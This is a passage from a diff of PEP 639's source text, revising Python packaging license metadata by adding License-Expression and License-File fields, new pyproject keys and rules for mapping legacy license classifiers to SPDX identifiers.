as described in the + :ref:`639-spec-field-license-expression` section of this PEP; briefly, + this includes all valid SPDX identifiers and the ``LicenseRef-Public-Domain`` + and ``LicenseRef-Proprietary`` strings. Examples: ``MIT``, ``GPL-3.0-only`` + +**Project** *(Sub: Project Source Tree, Installed Project)* + (`See PyPUG `__) + Here, a **project source tree** refers to the on-disk format of + a project used for development, while an **installed project** is the form a + project takes once installed from a distribution, as + `specified by PyPA `__. + +**Project Source Metadata** *(Sub: PEP 621 Metadata, Key, Subkey)* + Core metadata defined by the package author in the project source tree, + as top-level keys in the ``[project]`` table of a :pep:`621` ``pyproject.toml``, + in the ``[metadata]`` table of ``setup.cfg``, or the equivalent for other + build tools. + + The **PEP 621 metadata** refers specifically to the former, as defined by the + `PyPA Declaring Project Metadata specification `__. + A **PEP 621 metadata key**, or an unqualified *key* refers specifically to + a top-level ``[project]`` key (notably, *not* a core metadata *field*), + while a **subkey** refers to a second-level key in a table-valued + :pep:`621` key. + +**Root License Directory** *(Short: License Directory)* + The directory under which license files are stored in a project/distribution + and the root directory that their paths, as recorded under the + ``License-File`` core metadata fields, are relative to. + Defined here to be the project root directory for source trees and source + distributions, and a subdirectory named ``license_files`` of the directory + containing the core metadata (i.e., the ``.dist-info/license_files`` + directory) for built distributions and installed projects. + +**Tool** *(Sub: Packaging Tool, Build Tool, Install Tool, Publishing Tool)* + A program, script or service executed by the user or automatically that + seeks to conform to the specification defined in this PEP. + + A **packaging tool** refers to a tool used to build, publish, + install, or otherwise directly interact with Python packages. + + A **build tool** is a packaging tool used to generate a source or built + distribution from a project source tree or sdist, when directly invoked + as such (as opposed to by end-user-facing install tools). + Examples: Wheel project, :pep:`517` backends via ``build`` or other + package-developer-facing frontends, calling ``setup.py`` directly. + + An **install tool** is a packaging tool used to install a source or built + distribution in a target environment. Examples include the PyPA pip and + ``installer`` projects. + + A **publishing tool** is a packaging tool used to upload distribution + archives to a package index, such as Twine for PyPI. + +**Wheel** *(Short: wheel, Rel: wheel format, Wheel project)* + Here, **wheel**, the standard built distribution format introduced in + :pep:`427` and `specified by PyPA `__, will be referred to in + lowercase, while the `Wheel project `__, its reference + implementation, will be referred to as such with **Wheel** in Title Case. + + +.. _639-specification: + +Specification +============= + +The changes necessary to implement the improved license handling outlined in +this PEP include those in both +:ref:`distribution package metadata <639-spec-core-metadata>`, +as defined in the `core metadata specification `__, and +:ref:`author-provided project source metadata <639-spec-source-metadata>`, +as originally defined in :pep:`621`. + +Further, :ref:`minor additions <639-spec-project-formats>` to the +source distribution (sdist), built distribution (wheel) and installed project +specifications will help document and clarify the already allowed, +now formally standardized behavior in these respects. +Finally, :ref:`guidance is established <639-spec-converting-metadata>` +for tools handling and converting legacy license metadata to license +expressions, to ensure the results are consistent, correct and unambiguous. + +Note that the guidance on errors and warnings is for tools' default behavior; +they MAY operate more strictly if users explicitly configure them to do so, +such as by a CLI flag or a configuration option. + + +.. _639-spec-core-metadata: + +Core metadata +------------- + +The `PyPA Core Metadata specification `__ defines the names +and semantics of each of the supported fields in the distribution metadata of +Python distribution packages and installed projects. + +This PEP :ref:`adds <639-spec-field-license-expression>` the +``License-Expression`` field, +:ref:`adds <639-spec-field-license-file>` the ``License-File`` field, +:ref:`deprecates <639-spec-field-license>` the ``License`` field, +and :ref:`deprecates <639-spec-field-classifier>` the license classifiers +in the ``Classifier`` field. -Over time, recommending the usage of these expressions will help Python package -publishers improve the clarity of their license documentation to the benefit of -package authors, consumers and redistributors. +The error and warning guidance in this section applies to build and +publishing tools; end-user-facing install tools MAY be more lenient than +mentioned here when encountering malformed metadata +that does not conform to this specification. +As it adds new fields, this PEP updates the core metadata to version 2.3. -Core Metadata Specification updates -=================================== -The canonical source for the names and semantics of each of the supported -metadata fields is the Core Metadata Specification [#cms]_ document. +.. _639-spec-field-license-expression: -The details of the updates considered to the Core Metadata Specification [#cms]_ -document as part of this PEP are described here and will be added to the -canonical source once this PEP is approved. +Add ``License-Expression`` field +'''''''''''''''''''''''''''''''' +The ``License-Expression`` optional field is specified to contain a text string +that is a valid SPDX license expression, as defined herein. -Added in Version 2.2 --------------------- +Publishing tools SHOULD issue an informational warning if this field is +missing, and MAY raise an error. Build tools MAY issue a similar warning, +but MUST NOT raise an error. -License-File (multiple use) -::::::::::::::::::::::::::: +.. _639-license-expression-definition: -The License-File is a string that is a path, relative to``.dist-info``, to a -license file. The license file content MUST be UTF-8 encoded text. +A license expression is a string using the SPDX license expression syntax as +documented in the `SPDX specification `__, either +Version 2.2 or a later compatible version. -Build tools SHOULD honor this field and include the corresponding license -file(s) in the built package. +When used in the ``License-Expression`` field and as a specialization of +the SPDX license expression definition, a license expression can use the +following license identifiers: +- Any SPDX-listed license short-form identifiers that are published in the + `SPDX License List `__, version 3.15 or any later compatible + version. Note that the SPDX working group never removes any license + identifiers; instead, they may choose to mark an identifier as "deprecated". -Changed in Version 2.2 ----------------------- +- The ``LicenseRef-Public-Domain`` and ``LicenseRef-Proprietary`` strings, to + identify licenses that are not included in the SPDX license list. -License (optional) -:::::::::::::::::: +When processing the ``License-Expression`` field to determine if it contains +a valid license expression, build and publishing tools: -Text indicating the license covering the distribution. This text can be either a -valid license expression as defined here or any free text. +- SHOULD halt execution and raise an error if: -Publishing tools SHOULD issue an informational warning if this field is empty, -missing, or is not a valid license expression as defined here. Build tools MAY -issue a similar warning. + - The field does not contain a valid license expression + - One or more license identifiers are not valid + (as :ref:`defined above <639-license-expression-definition>`) -License Expression syntax -''''''''''''''''''''''''' +- SHOULD report an informational warning, and publishing tools MAY raise an + error, if one or more license identifiers have been marked as deprecated in + the `SPDX License List `__. -A license expression is a string using the SPDX license expression syntax as -documented in the SPDX specification [#spdx]_ using either Version 2.2 -[#spdx22]_ or a later compatible version. SPDX is a working group at the Linux -Foundation that defines a standard way to exchange package information. +- MUST store a case-normalized version of the ``License-Expression`` field + using the reference case for each SPDX license identifier and + uppercase for the ``AND``, ``OR`` and ``WITH`` keywords. -When used in the ``License`` field and as a specialization of the SPDX license -expression definition, a license expression can use the following license -identifiers: +- SHOULD report an informational warning, and MAY raise an error if + the normalization process results in changes to the + ``License-Expression`` field contents. -- any SPDX-listed license short-form identifiers that are published in the SPDX - License List [#spdxlist]_ using either Version 3.10 or any later compatible - version. Note that the SPDX working group never removes any license - identifiers: instead they may choose to mark an identifier as "deprecated". +For all newly-upload distributions that include a +``License-Expression`` field, the `Python Package Index (PyPI) `__ MUST +validate that it contains a valid, case-normalized license expression with +valid identifiers (as defined here) and MUST reject uploads that do not. +PyPI MAY reject an upload for using a deprecated license identifier, +so long as it was deprecated as of the above-mentioned SPDX License List +version. -- the ``LicenseRef-Public-Domain`` and ``LicenseRef-Proprietary`` strings to - identify licenses that are not included in the SPDX license list. -When processing the ``License`` field to determine if it contains a valid -license expression, tools: +.. _639-spec-field-license-file: -- SHOULD report an informational warning if one or more of the following - applies: +Add ``License-File`` field +'''''''''''''''''''''''''' - - the field does not contain a license expression, +Each instance of the ``License-File`` optional field is specified to contain +the string representation of the path in the project source tree, relative to +the project root directory, of a license-related file. +It is a multi-use field that may appear zero or +more times, each instance listing the path to one such file. Files specified +under this field could include license text, author/attribution information, +or other legal notices that need to be distributed with the package. - - the license expression syntax is invalid, +As :ref:`specified by this PEP <639-spec-project-formats>`, its value +is also that file's path relative to the root license directory in both +installed projects and the standardized distribution package types. +In other legacy, non-standard or new distribution package formats and +mechanisms of accessing and storing core metadata, the value MAY correspond +to the license file path relative to a format-defined root license directory. +Alternatively, it MAY be treated as a unique abstract key to access the +license file contents by another means, as specified by the format. - - the license expression syntax is valid but some license identifiers are - unknown as defined here or the license identifiers have been marked as - deprecated in the SPDX License List [#spdxlist]_ +If a ``License-File`` is listed in a source or built distribution's core +metadata, that file MUST be included in the distribution at the specified path +relative to the root license directory, and MUST be installed with the +distribution at that same relative path. -- SHOULD store a case-normalized version of the ``License`` field using the - reference case for each SPDX license identifier and uppercase for the AND, OR - and WITH keywords. +The specified relative path MUST be consistent between project source trees, +source distributions (sdists), built distributions (wheels) and installed +projects. Therefore, inside the root license directory, packaging tools +MUST reproduce the directory structure under which the +source license files are located relative to the project root. -- SHOULD report an informational warning if normalization process results in - changes to the ``License`` field contents. +Path delimiters MUST be the forward slash character (``/``), +and parent directory indicators (``..``) MUST NOT be used. +License file content MUST be UTF-8 encoded text. -License expression examples:: +Build tools MAY and publishing tools SHOULD produce an informative warning +if a built distribution's metadata contains no ``License-File`` entries, +and publishing tools MAY but build tools MUST NOT raise an error. - License: MIT +For all newly-uploaded distribution packages that include one or more +``License-File`` fields and declare a ``Metadata-Version`` of ``2.3`` or +higher, PyPI SHOULD validate that the specified files are present in all +uploaded distributions, and MUST reject uploads that do not validate. - License: BSD-3-Clause - License: MIT OR GPL-2.0-or-later OR (FSFUL AND BSD-2-Clause) +.. _639-spec-field-license: - License: GPL-3.0-only WITH Classpath-Exception-2.0 OR BSD-3-Clause +Deprecate ``License`` field +''''''''''''''''''''''''''' - License: This software may only be obtained by sending the - author a postcard, and then the user promises not - to redistribute it. +The legacy unstructured-text ``License`` field is deprecated and replaced by +the new ``License-Expression`` field. Build and publishing tools MUST raise +an error if both these fields are present and their values are not identical, +including capitalization and excluding leading and trailing whitespace. - License: LicenseRef-Proprietary AND LicenseRef-Public-Domain +If only the ``License`` field is present, such tools SHOULD issue a warning +informing users it is deprecated and recommending ``License-Expression`` +instead. +For all newly-uploaded distributions that include a +``License-Expression`` field, the `Python Package Index (PyPI) `__ MUST +reject any that specify a ``License`` field and the text of which is not +identical to that of ``License-Expression``, as defined in this section. -Classifier (multiple use) -::::::::::::::::::::::::: +Along with license classifiers, the ``License`` field may be removed from a +new version of the specification in a future PEP. -Each entry is a string giving a single classification value for the -distribution. Classifiers are described in PEP 301. -Examples:: +.. _639-spec-field-classifier: - Classifier: Development Status :: 4 - Beta - Classifier: Environment :: Console (Text Based) +Deprecate license classifiers +''''''''''''''''''''''''''''' -Tools SHOULD issue an informational warning if this field contains a licensing- -related classifier string starting with the ``License ::`` prefix and SHOULD -suggest the use of a license expression in the ``License`` field instead. +Using license `classifiers `__ in the ``Classifier`` field +(described in :pep:`301`) is deprecated and replaced by the more precise +``License-Expression`` field. -If the ``License`` field is present and contains a valid license expression, -publishing tools MUST NOT also provide any licensing-related classifier entries -[#classif]_. +If the ``License-Expression`` field is present, build tools SHOULD and +publishing tools MUST raise an error if one or more license classifiers +is included in a ``Classifier`` field, and MUST NOT add +such classifiers themselves. -However, for compatibility with existing publishing and installation processes, -licensing-related classifier entries SHOULD continue to be accepted if the -``License`` field is absent or does not contain a valid license expression. +Otherwise, if this field contains a license classifier, build tools MAY +and publishing tools SHOULD issue a warning informing users such classifiers +are deprecated, and recommending ``License-Expression`` instead. +For compatibility with existing publishing and installation processes, +the presence of license classifiers SHOULD NOT raise an error unless +``License-Expression`` is also provided. -Publishing tools MAY infer a license expression from the provided classifier -entries if they are able to do so unambiguously. +For all newly-uploaded distributions that include a +``License-Expression`` field, the `Python Package Index (PyPI) `__ MUST +reject any that also specify any license classifiers. -However, no new licensing related classifiers will be added; anyone -requesting them will be directed to use a license expression in the ``License`` -field instead. Note that the licensing-related classifiers may be deprecated in -a future PEP. +New license classifiers MUST NOT be `added to PyPI `__; +users needing them SHOULD use the ``License-Expression`` field instead. +Along with the ``License`` field, license classifiers may be removed from a +new version of the specification in a future PEP. -Mapping Legacy Classifiers to New License Expressions -''''''''''''''''''''''''''''''''''''''''''''''''''''' +.. _639-spec-source-metadata: -Publishing tools MAY infer or suggest an equivalent license expression from the -provided ``License`` or ``Classifier`` information if they are able to do so -unambiguously. For instance, if a package only has this license classifier:: +Project source metadata +----------------------- - Classifier: License :: OSI Approved :: MIT License +As originally introduced in :pep:`621`, the +`PyPA Declaring Project Metadata specification `__ +defines how to declare a project's source +metadata in a ``[project]`` table in the ``pyproject.toml`` file for +build tools to consume and output distribution core metadata. -Then the corresponding value for a ``License`` field using a valid license -expression to suggest would be:: +This PEP :ref:`adds <639-spec-key-license-expression>` the ``license-expression`` +key, :ref:`adds <639-spec-key-license-files>` the ``license-files`` key and +:ref:`deprecates <639-spec-key-license>` the ``license`` key. - License: MIT +.. _639-spec-key-license-expression: -Here are mapping guidelines for the legacy classifiers: +Add ``license-expression`` key +'''''''''''''''''''''''''''''' -- Classifier ``License :: Other/Proprietary License`` becomes License: - ``LicenseRef-Proprietary`` expression. +A new ``license-expression`` key is added to the ``project`` table, which has +a string value that is a valid SPDX license expression, as +:ref:`defined previously <639-license-expression-definition>`. +Its value maps to the ``License-Expression`` field in the core metadata. -- Classifier ``License :: Public Domain`` becomes License: ``LicenseRef-Public-Domain`` - expression, though tools should encourage the use of more explicit and legally - portable license identifiers such as ``CC0-1.0`` [#cc0]_, the ``Unlicense`` - [#unlic]_ since the meaning associated with the term "public domain" is thoroughly - dependent on the specific legal jurisdiction involved and some jurisdictions - have no concept of Public Domain as it exists in the USA. +Build tools SHOULD validate the expression as described in the +:ref:`639-spec-field-license-expression` section, outputting +an error or warning as specified. When generating the core metadata, tools +MUST perform case normalization. -- The generic and ambiguous classifiers ``License :: OSI Approved`` and - ``License :: DFSG approved`` do not have an equivalent license expression. +If and only if the ``license-expression`` key is listed as ``dynamic`` +(and is not specified), tools MAY infer a value for the ``License-Expression`` +field if they can do so unambiguously, but MUST follow the provisions in the +:ref:`639-spec-converting-metadata` section. + +If the ``license-expression`` key is present and valid (and the ``license`` +key is not specified), for purposes of backward compatibility, tools MAY +back-fill the ``License`` core metadata field with the case-normalized value +of the ``license-expression`` key. + + +.. _639-spec-key-license-files: + +Add ``license-files`` key +''''''''''''''''''''''''' + +A new ``license-files`` key is added to the ``project`` table for specifying +paths in the project source tree relative to ``pyproject.toml`` to file(s) +containing licenses and other legal notices to be distributed with the package. +It corresponds to the ``License-File`` fields in the core metadata. + +Its value is a table, which if present MUST contain one of two optional, +mutually exclusive subkeys, ``paths`` and ``globs``; if both are specified, +tools MUST raise an error. Both are arrays of strings; the ``paths`` subkey +contains verbatim file paths, and the ``globs`` subkey valid glob patterns, +which MUST be parsable by the ``glob`` `module `__ in the +Python standard library. + +**Note**: To avoid ambiguity, confusion and (per :pep:`20`, the Zen of Python) +"more than one (obvious) way to do it", allowing a flat array of strings +as the value for the ``license-files`` key has been +:ref:`left out for now <639-license-files-allow-flat-array>`. + +Path delimiters MUST be the forward slash character (``/``), +and parent directory indicators (``..``) MUST NOT be used. +Tools MUST assume that license file content is valid UTF-8 encoded text, +and SHOULD validate this and raise an error if it is not. + +If the ``paths`` subkey is a non-empty array, build tools: + +- MUST treat each value as a verbatim, literal file path, and + MUST NOT treat them as glob patterns. + +- MUST include each listed file in all distribution archives. + +- MUST NOT match any additional license files beyond those explicitly + statically specified by the user under the ``paths`` subkey. + +- MUST list each file path under a ``License-File`` field in the core metadata. + +- MUST raise an error if one or more paths do not correspond to a valid file + in the project source that can be copied into the distribution archive. + +If the ``globs`` subkey is a non-empty array, build tools: + +- MUST treat each value as a glob pattern, and MUST raise an error if the + pattern contains invalid glob syntax. + +- MUST include all files matched by at least one listed pattern in all + distribution archives. + +- MAY exclude files matched by glob patterns that can be unambiguously + determined to be backup, temporary, hidden, OS-generated or VCS-ignored. + +- MUST list each matched file path under a ``License-File`` field in the + core metadata. + +- SHOULD issue a warning and MAY raise an error if no files are matched. + +- MAY issue a warning if any individual user-specified pattern + does not match at least one file. + +If the ``license-files`` key is present, and the ``paths`` or ``globs`` subkey +is set to a value of an empty array, then tools MUST NOT include any +license files and MUST NOT raise an error. + +.. _639-default-patterns: + +If the ``license-files`` key is not present and not explicitly marked as +``dynamic``, tools MUST assume a default value of the following: + +.. code-block:: toml + + license-files.globs = ["LICEN[CS]E*", "COPYING*", "NOTICE*", "AUTHORS*"] + +In this case, tools MAY issue a warning if no license files are matched, +but MUST NOT raise an error. + +If the ``license-files`` key is marked as ``dynamic`` (and not present), +to preserve consistent behavior with current tools and help ensure the packages +they create are legally distributable, build tools SHOULD default to +including at least the license files matching the above patterns, unless the +user has explicitly specified their own. + + +.. _639-spec-key-license: + +Deprecate ``license`` key +''''''''''''''''''''''''' + +The ``license`` key in the ``project`` table is now deprecated. +It MUST NOT be used or listed as ``dynamic`` if either of the new +``license-expression`` or ``license-files`` keys are defined, +and build tools MUST raise an error if either is the case. + +Otherwise, if the ``text`` subkey is present in the ``license`` table, tools +SHOULD issue a warning informing users it is deprecated and recommending the +``license-expression`` key instead. + +Likewise, if the ``file`` subkey is present in the ``license`` table, tools +SHOULD issue a warning informing users it is deprecated and recommending +the ``license-files`` key instead. However, if the file is present in the +source, build tools SHOULD still use it to fill the ``License-File`` field +in the core metadata, and if so, MUST include the specified file in any +distribution archives for the project. If the file does not exist at the +specified path, tools SHOULD issue a warning, and MUST NOT fill it in a +``License-File`` field. + +For backwards compatibility, to preserve consistent behavior with current tools +and ensure that users do not unknowingly create packages that are not legally +distributable, tools MUST assume the +:ref:`specified default value <639-default-patterns>` for the +``license-files`` key and also include, in addition to the license file +specified under this ``file`` subkey, any license files that match the +specified list of patterns. + +The ``license`` key may be removed from a new version of the specification +in a future PEP. + + +.. _639-spec-project-formats: + +License files in project formats +-------------------------------- + +A few minor additions will be made to the relevant existing specifications +to document, standardize and clarify what is already currently supported, +allowed and implemented behavior, as well as explicitly mention the root +license directory the license files are located in and relative to for +each format, per the :ref:`639-spec-field-license-file` section. + +**Project source trees** + As described in the :ref:`639-spec-source-metadata` section, the + `Declaring Project Metadata specification `__ + will be updated to reflect that license file paths MUST be relative to the + project root directory; i.e. the directory containing the ``pyproject.toml`` + (or equivalently, other legacy project configuration, + e.g. ``setup.py``, ``setup.cfg``, etc). + +**Source distributions** *(sdists)* + The `sdist specification `__ will be updated to reflect that for + ``Metadata-Version`` is ``2.3`` or greater, the sdist MUST contain any + license files specified by ``License-File`` in the ``PKG-INFO`` at their + respective paths relative to the top-level directory of the sdist + (containing the ``pyproject.toml`` and the ``PKG-INFO`` core metadata). + +**Built distributions** *(wheels)* + The `wheel specification `__ will be updated to reflect that if + the ``Metadata-Version`` is ``2.3`` or greater and one or more + ``License-File`` fields is specified, the ``.dist-info`` directory MUST + contain a ``license_files`` subdirectory which MUST contain the files listed + in the ``License-File`` fields in the ``METADATA`` file at their respective + paths relative to the ``license_files`` directory. + +**Installed projects** + The `Recording Installed Projects specification `__ will be + updated to reflect that if the ``Metadata-Version`` is ``2.3`` or greater + and one or more ``License-File`` fields is specified, the ``.dist-info`` + directory MUST contain a ``license_files`` subdirectory which MUST contain + the files listed in the ``License-File`` fields in the ``METADATA`` file + at their respective paths relative to the ``license_files`` directory, + and that any files in this directory MUST be copied from wheels + by install tools. + + +.. _639-spec-converting-metadata: + +Converting legacy metadata +-------------------------- + +If the contents of the ``license.text`` :pep:`621` source metadata key +(or equivalent for tool-specific config formats) is a valid license expression +containing solely known, non-deprecated license identifiers, and, if +:pep:`621` metadata are defined, the ``license-expression`` key is listed as +``dynamic``, build tools MAY use it to fill the ``License-Expression`` field. + +Similarly, if the ``classifiers`` :pep:`621` source metadata key (or equivalent +for tool-specific config formats) contains exactly one license classifier +that unambiguously maps to exactly one valid, non-deprecated SPDX license +identifier, tools MAY fill the ``License-Expression`` field with the latter. + +If both a ``license.text`` or equivalent value and a single license classifier +are present, the contents of the former, including capitalization +(but excluding leading and trailing whitespace), MUST exactly match the SPDX +license identifier mapped to the license classifier to be considered +unambiguous for the purposes of automatically filling the +``License-Expression`` field. + +If tools have filled the ``License-Expression`` field as described here, +they MUST output a prominent, user-visible warning informing package authors +of that fact, including the ``License-Expression`` string they have output, +and recommending that the project source metadata be updated accordingly +with the indicated license expression. + +In any other case, tools MUST NOT use the contents of the ``license.text`` +key (or equivalent) or license classifiers to fill the +``License-Expression`` field without informing the user and requiring +unambiguous, affirmative user action to select and confirm the desired +``License-Expression`` value before proceeding. + + +.. _639-spec-mapping-classifiers-identifiers: + +Mapping license classifiers to SPDX identifiers +''''''''''''''''''''''''''''''''''''''''''''''' + +Most single license classifiers (namely, all those not mentioned below) +map to a single valid SPDX license identifier, allowing tools to insert them +into the ``License-Expression`` field following the +:ref:`specification above <639-spec-converting-metadata>`. + +Many legacy license classifiers intend to specify a particular license, +but do not specify the particular version or variant, leading to a +`critical ambiguity `__ as to their terms, compatibility +and acceptability. Tools MUST NOT attempt to automatically infer a +``License-Expression`` when one of these classifiers is used, and SHOULD +instead prompt the user to affirmatively select and confirm their intended +license choice. + +These classifiers are the following: + +- ``License :: OSI Approved :: Academic Free License (AFL)`` +- ``License :: OSI Approved :: Apache Software License`` +- ``License :: OSI Approved :: Apple Public Source License`` +- ``License :: OSI Approved :: Artistic License`` +- ``License :: OSI Approved :: BSD License`` +- ``License :: OSI Approved :: GNU Affero General Public License v3`` +- ``License :: OSI Approved :: GNU Free Documentation License (FDL)`` +- ``License :: OSI Approved :: GNU General Public License (GPL)`` +- ``License :: OSI Approved :: GNU General Public License v2 (GPLv2)`` +- ``License :: OSI Approved :: GNU General Public License v3 (GPLv3)`` +- ``License :: OSI Approved :: GNU Lesser General Public License v2 (LGPLv2)`` +- ``License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)`` +- ``License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)`` +- ``License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)`` + +A comprehensive mapping of these classifiers to their possible specific +identifiers was `assembled by Dustin Ingram `__, which tools +MAY use as a reference for the identifier selection options to offer users +when prompting the user to explicitly select the license identifier +they intended for their project. + +**Note**: Several additional classifiers, namely the "or later" variants of +the AGPLv3, GPLv2, GPLv3 and LGPLv3, are also listed in the aforementioned +mapping, but as they were merely proposed for textual harmonization and +still unambiguously map to their respective licenses, +they were not included here; LGPLv2 is, however, as it could ambiguously +refer to either the distinct v2.0 or v2.1 variants of that license. + +In addition, for the various special cases, the following mappings are +considered canonical and normative for the purposes of this specification: + +- Classifier ``License :: Public Domain`` MAY be mapped to the generic + ``License-Expression: LicenseRef-Public-Domain``. + If tools do so, they SHOULD issue an informational warning encouraging + the use of more explicit and legally portable license identifiers, + such as those for the `CC0 1.0 license `__ (``CC0-1.0``), + the `Unlicense `__ (``Unlicense``), + or the `MIT license `__ (``MIT``), + since the meaning associated with the term "public domain" is thoroughly + dependent on the specific legal jurisdiction involved, + some of which lack the concept entirely. + Alternatively, tools MAY choose to treat these classifiers as ambiguous and + require user confirmation to fill ``License-Expression`` in these cases. - The generic and sometimes ambiguous classifiers - ``License :: Free For Educational Use``, ``License :: Free For Home Use``, - ``License :: Free for non-commercial use``, ``License :: Freely Distributable``, - ``License :: Free To Use But Restricted``, and ``License :: Freeware`` are mapped - to the generic License: ``LicenseRef-Proprietary`` expression. + ``License :: Free For Educational Use``, + ``License :: Free For Home Use``, + ``License :: Free for non-commercial use``, + ``License :: Freely Distributable``, + ``License :: Free To Use But Restricted``, + ``License :: Freeware``, and + ``License :: Other/Proprietary License`` MAY be mapped to the generic + ``License-Expression: LicenseRef-Proprietary``, + but tools MUST issue a prominent, informative warning if they do so. + Alternatively, tools MAY choose to treat these classifiers as ambiguous and + require user confirmation to fill ``License-Expression`` in these cases. -- Classifiers ``License :: GUST*`` have no mapping to SPDX license identifierss - for now and no package uses them in PyPI as of the writing of this PEP. +- The generic and ambiguous classifiers ``License :: OSI Approved`` and + ``License :: DFSG approved`` do not map to any license expression, + and thus tools MUST treat them as ambiguous and require user intervention + to fill ``License-Expression``. -The remainder of the classifiers using a ``License ::`` prefix map to a simple -single-identifier license expression using the corresponding SPDX license identifiers. +- The classifiers ``License :: GUST Font License 1.0`` and + ``License :: GUST Font License 2006-09-30`` have no mapping to SPDX license + identifiers and no PyPI package uses them, as of the writing of this PEP. + Therefore, tools MUST treat them as ambiguous when attempting to fill + ``License-Expression``. -When multiple license-related classifiers are used, their relation is ambiguous +When multiple license classifiers are used, their relationship is ambiguous, and it is typically not possible to determine if all the licenses apply or if there is a choice that is possible among the licenses. In this case, tools -cannot reliably infer a license expression and should suggest that the package -author construct a license expression which expresses their intent. - +MUST NOT automatically infer a license expression, and SHOULD suggest that the +package author construct one which expresses their intent. -Summary of Differences From PEP 566 -=================================== - -* Metadata-Version is now 2.2. -* Added one new field: ``License-File`` -* Updated the documentation of two fields: ``License`` and ``Classifier`` +.. _639-backwards-compatibility: Backwards Compatibility ======================= -The reuse of the ``License`` field means that we keep backward -compatibility. The specification of the ``License-File`` field is only writing -down the practices of the ``wheel`` and ``setuptools`` tools and is backward -compatible with their support for that field. - -The "soft" validation of the ``License`` field when it does not contain a valid -license expression and when the ``Classifier`` field is used with legacy -license-related classifiers means that we can gently prepare users for possible -strict and incompatible validation of these fields in the future. - +Adding a new, dedicated ``License-Expression`` core metadata field and +``license-expression`` :pep:`621` source metadata key unambiguously signals +support for the specification in this PEP. This avoids the risk of new tooling +misinterpreting a license expression as a free-form license description +or vice versa, and raises an error if and only if the user affirmatively +upgrades to the latest metadata version and adds the new field/key. + +The legacy ``License`` core metadata field and ``license`` :pep:`621` source +metadata key will be deprecated along with the license classifiers, +retaining backwards compatibility while gently preparing users for their +future removal. Such a removal would follow a suitable transition period, and +be left to a future PEP and a new version of the core metadata specification. + +Formally specifying the new ``License-File`` core metadata field and the +inclusion of the listed files in the distribution merely codifies and +refines the existing practices in popular packaging tools, including the Wheel +and Setuptools projects, and is designed to be largely backwards-compatible +with their existing use of that field. Likewise, the new ``license-files`` +:pep:`621` source metadata key standardizes statically specifying the files +to include, as well as the default behavior, and allows other tools to +make use of them, while only having an effect once users and tools expressly +adopt it. + +Due to requiring license files not be flattened into ``.dist-info`` and +specifying that they should be placed in a dedicated ``license_files`` subdir, +wheels produced following this change will have differently-located +licenses relative to those produced via the previous unspecified, +installer-specific behavior, but as until this PEP there was no way of +discovering these files or accessing them programmatically, and this will +be further discriminated by a new metadata version, there aren't any foreseen +mechanism for this to pose a practical issue. + +Furthermore, this resolves existing compatibility issues with the current +ad hoc behavior, namely license files being silently clobbered if they have +the same names as others at different paths, unknowingly rendering the wheel +undistributable, and conflicting with the names of other metadata files in +the same directory. Formally specifying otherwise would in fact block full +forward compatibility with additional standard or installer-specified files +and directories added to ``.dist-info``, as they too could conflict with +the names of existing licenses. + +While minor additions will be made to the source distribution (sdist), +built distribution (wheel) and installed project specifications, all of these +are merely documenting, clarifying and formally specifying behaviors explicitly +allowed under their current respective specifications, and already implemented +in practice, and gating them behind the explicit presence of both the new +metadata versions and the new fields. In particular, sdists may contain +arbitrary files following the project source tree layout, and formally +mentioning that these must include the license files listed in the metadata +merely documents and codifies existing Setuptools practice. Likewise, arbitrary +installer-specific files are allowed in the ``.dist-info`` directory of wheels +and copied to installed projects, and again this PEP just formally clarifies +and standardizes what is already being done. + +Finally, while this PEP does propose PyPI implement validation of the new +``License-Expression`` and ``License-File`` fields, this has no effect on +existing packages, nor any effect on any new distributions uploaded unless they +explicitly choose to opt in to using these new fields while not +following the requirements in the specification. Therefore, this does not have +a backward compatibility impact, and in fact ensures forward compatibility with +any future changes by ensuring all distributions uploaded to PyPI with the new +fields are valid and conform to the specification. + + +.. _639-security-implications: Security Implications ===================== -This PEP has no foreseen security implications: the License field is a plain -string and the License-File(s) are file paths. None of them introduces any new -security concern. +This PEP has no foreseen security implications: the ``License-Expression`` +field is a plain string and the ``License-File`` fields are file paths. +Neither introduces any known new security concerns. -How to Teach Users to Use License Expressions -============================================= +.. _639-how-to-teach-this: + +How to Teach This +================= The simple cases are simple: a single license identifier is a valid license -expression and a large majority of packages use a single license. +expression, and a large majority of packages use a single license. The plan to teach users of packaging tools how to express their package's license with a valid license expression is to have tools issue informative -messages when they detect invalid license expressions or when a license-related -classifier is used in the ``Classifier`` field. +messages when they detect invalid license expressions, or when the deprecated +``License`` field or license classifiers are used. + +An immediate, descriptive error message if an invalid ``License-Expression`` +is used will help users understand they need to use SPDX identifiers in +this field, and catch them if they make a mistake. +For authors still using the now-deprecated, less precise and more redundant +``License`` field or license classifiers, packaging tools will warn +them and inform them of the modern replacement, ``License-Expression``. +Finally, for users who may have forgotten or not be aware they need to do so, +publishing tools will gently guide them toward including ``license-expression`` +and ``license-files`` in their project source metadata. -With a warning message that does not terminate processing, publishing tools will -gently teach users how to provide correct license expressions over time. +Tools may also help with the conversion and suggest a license expression in +many, if not most common cases: -Tools may also help with the conversion and suggest a license expression in some -cases: +- The section :ref:`639-spec-mapping-classifiers-identifiers` provides + tool authors with guidelines on how to suggest a license expression produced + from legacy classifiers. -1. The section `Mapping Legacy Classifiers to New License expressions`_ provides - tool authors with guidelines on how to suggest a license expression produced - from legacy classifiers. +- Tools may also be able to infer and suggest how to update an existing + ``License`` value and convert that to a ``License-Expression``. + For instance, a tool may suggest converting from a ``License`` field with + ``Apache2`` (which is not a valid license expression as defined in this PEP) + to a ``License-Expression`` field with ``Apache-2.0`` (which is a valid + license expression using an SPDX license identifier). -2. Tools may also be able to infer and suggest how to update an existing - incorrect ``License`` value and convert that to a correct license expression. - For instance a tool may suggest to correct a ``License`` field from - ``Apache2`` (which is not a valid license expression as defined in this PEP) - to ``Apache-2.0`` (which is a valid license expression using an SPDX license - identifier as defined in this PEP). +.. _639-reference-implementation: Reference Implementation ======================== Tools will need to support parsing and validating license expressions in the -``License`` field. +``License-Expression`` field. -The ``license-expression`` library [#licexp]_ is a reference Python -implementation of a library that handles license expressions including parsing, -validating and formatting license expressions using flexible lists of license -symbols (including SPDX license identifiers and any extra identifiers referenced -here). It is licensed under the Apache-2.0 license and is used in a few projects -such as the SPDX Python tools [#spdxpy]_, the ScanCode toolkit [#scancodetk]_ -and the Free Software Foundation Europe (FSFE) Reuse project [#reuse]_. +The `license-expression library `__ is a reference Python +implementation that handles license expressions including parsing, +formatting and validation, using flexible lists of license 